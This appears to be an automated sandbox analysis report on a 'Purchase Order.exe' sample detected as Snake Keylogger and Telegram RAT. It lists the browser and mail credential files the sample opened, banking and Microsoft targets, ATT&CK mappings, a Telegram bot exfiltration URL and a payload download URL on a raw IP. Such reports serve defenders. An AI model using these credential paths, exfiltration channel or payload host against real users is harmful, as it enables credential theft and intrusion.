Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405799

Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595365	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3364386866.0000000006318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Purchase Order.exe, 00000004.00000002.3364386866.0000000006354000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW81
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Purchase Order.exe, 00000004.00000002.3385180185.00000000378BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\Purchase Order.exe	API call chain: ExitProcess graph end node			graph_0-4889
Source: C:\Users\user\Desktop\Purchase Order.exe	API call chain: ExitProcess graph end node			graph_0-4896

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\Purchase Order.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Users\user\Desktop\Purchase Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_00405F19 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405F19

Source: C:\Users\user\Desktop\Purchase Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Purchase Order.exe PID: 3340, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.3384062771.000000003692F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 3340, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Purchase Order.exe PID: 3340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	4 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase Order.exe	5%	ReversingLabs
Purchase Order.exe	12%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2021/10/2024%20/%2017:55:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://84.38.129.16/efxSlCP242.bin	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/155.94.241.186	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	Purchase Order.exe, 00000004.00000002.3384062771.0000000036A17000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000004.00000002.3384062771.0000000036A08000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://84.38.129.16/efxSlCP242.binJ	Purchase Order.exe, 00000004.00000002.3364386866.0000000006354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20a	Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Purchase Order.exe, 00000000.00000000.2111963143.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	Purchase Order.exe, 00000004.00000002.3384062771.000000003692F000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000004.00000002.3384062771.0000000036A17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
